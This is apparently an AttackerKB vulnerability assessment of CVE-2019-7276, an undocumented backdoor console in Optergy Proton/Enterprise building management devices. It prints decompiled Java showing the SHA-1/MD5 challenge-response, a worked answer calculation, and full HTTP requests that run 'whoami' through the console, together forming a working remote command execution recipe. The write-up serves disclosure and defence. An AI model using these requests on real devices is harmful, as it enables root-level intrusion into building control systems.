Very High
CVE-2019-7276
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2019-7276
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Optergy Proton/Enterprise devices allow Remote Root Code Execution via a Backdoor Console.
Add Assessment
Ratings
-
Attacker ValueVery High
-
ExploitabilityVery High
Technical Analysis
Backdoors
Since the dawn of our computing era, we have seen backdoors
added in application code. You can find them in applications, operating systems, firmware etc and you see a variety of sophistication in the development and deployment of these backdoors
.
The more or less official definition of a backdoor
can be found at wikipedia and defines it as:
A typically covert method of bypassing normal authentication or encryption in a computer, product, embedded device (e.g. a home router), or its embodiment.
Backdoors
can vary from a simple hard coded user / password combination to sophisticated rootkits
, object code backdoors
, asymmetric backdoors
and compiler backdoors
which are quite well explained in the article.
Reasons to install backdoors
are either for legitimate reasons to allow access to development or support but in most cases it has a malicious intent to enable unauthorized access to system and applications. In any case, allowing backdoors
in your code is not a good idea, because how well coded and secure, there is always somebody that discovers the damn
thing and starts using it for different reasons.
The example below shows a pretty sophisticated undocumented backdoor
in the Optergy
building management system. During a reverse engineering code review, this backdoor was discovered in 2019 by a security researcher Gjoko Krstic
a.k.a. LiquidWorm
.
During the review a backdoor script called Console.jsp
located in /usr/local/tomcat/webapps/ROOT/WEB-INF/jsp/tools/
was discovered which was not mentioned in any documentation, and it appeared to be a well-coded backdoor.
Once you navigate to the console, issuing a command and clicking Exec
resulted in errors. Clicking the Get
button ConsoleResult.html?get
returns a JSON
response message:
{"response":{"message":"1679481930381"}}
The question now is to satisfy this challenge response to successfully execute commands.
And after de-compiling the ConsoleResult.class
java bytecode it revealed how this developer backdoor console actually works.
Lines 065
, 066
, and 067
of the code block below reveals the logic how to use this ‘developer’ console.
The challenge is created once you issue the /tools/ajax/ConsoleResult.html?get
AJAX request. This challenge is used to generate a SHA-1
hash and then generate an MD5
hash from the SHA-1
hash.
At the end, you must concatenate the two values which becomes the answer that you need to issue together with the command you want to execute in the request.
With Cyberchef, you can easily compile the recipe together to get the results.
SHA1 of challenge value: 1679481930381
MD5 of SHA1
Challenge: 1679481930381 SHA1: 6c2ba45326f687498923413420c890ebf5b7602c MD5 of SHA1: 421dc80c2bea0c3710679605a6159162 Response: 6c2ba45326f687498923413420c890ebf5b7602c 421dc80c2bea0c3710679605a6159162
Decompiled ConsoleResult.class
ConsoleResult.class: 032: public class ConsoleResult 033: implements ActionBean, ValidationErrorHandler 034: { 035: private ActionBeanContext context; 036: @Validate(required=true, on={"execute"}, minlength=1) 037: private String command; 038: @Validate(required=true, on={"execute"}, minlength=1) 039: private String challenge; 040: @Validate(required=true, on={"execute"}, minlength=1) 041: private String answer; 042: private final Object lock; 043: 044: public ConsoleResult() 045: { 046: lock = new ConsoleResult.Lock(null); 047: } 048: 049: 050: 051: 052: 053: 054: @DefaultHandler 055: public Resolution execute() 056: { 057: long l1 = 1500L; 058: ServletContext localServletContext = getContext().getServletContext(); 059: List localList = (List)localServletContext.getAttribute("challengeList"); 060: 061: long l2 = Long.parseLong(challenge); 062: if ((localList != null) && (localList.contains(Long.valueOf(l2)))) 063: { 064: localList.remove(Long.valueOf(l2)); 065: String str1 = Util.makeSHA1Hash(Long.toString(l2)); 066: String str2 = Util.makeMD5Hash(str1); 067: String str3 = str1 + str2; 068: 069: if (!str3.equals(answer)) 070: { 071: return new JSONResolution(JSONConverter.createErrorResponse("Invalid Response to Answer")); 072: } 073: 074: String str4 = ""; 075: ProcessStreamReader localProcessStreamReader = null; 076: try 077: { 078: String[] arrayOfString = command.split("\\ "); 079: ProcessBuilder localProcessBuilder = new ProcessBuilder(arrayOfString); 080: localProcessBuilder.redirectErrorStream(true); 081: Process localProcess = localProcessBuilder.start(); 082: ConsoleResult.ProcessWrapper localProcessWrapper = new ConsoleResult.ProcessWrapper(this, localProcess); 083: 084: localProcessWrapper.start(); 085: localProcessStreamReader = new ProcessStreamReader(localProcessWrapper.getfProcess().getInputStream()); 086: localProcessStreamReader.start(); 087: try 088: { 089: localProcessWrapper.join(l1); 090: localProcessStreamReader.join(l1); 091: } 092: catch (InterruptedException localInterruptedException) 093: { 094: localInterruptedException.printStackTrace(); 095: localProcessWrapper.interrupt(); 096: } 097: } 098: catch (Exception localException) 099: { 100: return new JSONResolution(JSONConverter.createErrorResponse("Invalid Command")); 101: } 102: 103: 104: str4 = localProcessStreamReader.getString(); 105: 106: JSONObject localJSONObject = JSONConverter.createMessageResponse(str4); 107: return new JSONResolution(localJSONObject); 108: } 109: return new JSONResolution(JSONConverter.createErrorResponse("Invalid Challenge")); 110: } 111: 112: public Resolution get() 113: { 114: ServletContext localServletContext = getContext().getServletContext(); 115: Object localObject = (List)localServletContext.getAttribute("challengeList"); 116: if (localObject == null) { 117: localObject = new ArrayList(); 118: } 119: long l = System.currentTimeMillis(); 120: ((List)localObject).add(Long.valueOf(l)); 121: 122: WebUtil.SetServletAttribute(localServletContext, "challengeList", localObject); 123: 124: JSONObject localJSONObject = JSONConverter.createMessageResponse(Long.toString(l)); 125: return new JSONResolution(localJSONObject); 126: }
The Burp output below shows exactly what happens under the cover.
Click Get button to get the challenge value
POST /tools/ajax/ConsoleResult.html?get HTTP/1.1 Host: 192.168.201.31 Content-Length: 0 Accept: */* User-Agent: Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 X-Requested-With: XMLHttpRequest Origin: http://192.168.201.31 Referer: http://192.168.201.31/tools/Console.t00t Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=D671EA8E9B1E2ED42528FD2DB16DE186 Connection: close
Response is a JSON
message with the challenge value
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: no-cache, private, no-store, must-revalidate Pragma: no-cache Expires: Thu, 01 Dec 1994 16:00:00 GMT Content-Type: application/json;charset=utf-8 Content-Language: en-US Content-Length: 40 Date: Wed, 22 Mar 2023 10:45:30 GMT Connection: close { "response": { "message":"1679481930381" } }
Now use the SHA1/MD5
recipe to determine the valid response to the challenge together with the command to be executed and click on the exec button.
This generates a POST request and executes the command.
Execute the whoami
command
POST /tools/ajax/ConsoleResult.html HTTP/1.1 Host: 192.168.201.31 Content-Length: 119 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Origin: http://192.168.201.31 Referer: http://192.168.201.31/tools/Console.t00t Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=D671EA8E9B1E2ED42528FD2DB16DE186 Connection: close &command=whoami&challenge=1679481930381&answer=6c2ba45326f687498923413420c890ebf5b7602c421dc80c2bea0c3710679605a6159162
Response is a JSON
message with the command output of whoami
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: no-cache, private, no-store, must-revalidate Pragma: no-cache Expires: Thu, 01 Dec 1994 16:00:00 GMT Content-Type: application/json;charset=utf-8 Content-Language: en-US Content-Length: 38 Date: Wed, 22 Mar 2023 10:49:56 GMT Connection: close { "response":{ "message":"optergy\r\n" } }
The above example shows once more that even sophisticated backdoors
can be discovered by code reviews and therefore become vulnerable to misuse of malicious actors. It underpins the guidance again to avoid programming backdoors
in your application code.
Mitigation
All Optergy Proton / Enterprise versions 2.3.0a
and below are vulnerable.
Unfortunate like most IoT
type applications, still vulnerable deployments can be found since the discovery in 2019.
Patching IoT
devices still remains a challenge for a lot of companies out there :–(
Please upgrade to the subsequent versions to mitigate this vulnerability.
I could not resist the temptation to create a Metasploit
module to test this vulnerability. A local version of this module can found at the References section and I have also created an OVA image with a vulnerable Optergy Proton application to play with.
Submission to the mainstream of Metasploit
is completed.
References
CVE-2019-7276
Applied Risk: Optergy Proton / Enterprise 2.3.0a Multiple Vulnerabilities
Public Exploit – Packetstorm
Metasploit module
Metasploit Development h00die-gr3y
Credits
Credits goes to Gjoko Krstic
a.k.a. LiquidWorm
who discovered this vulnerability.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- optergy
Products
- enterprise,
- proton
References
Additional Info
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: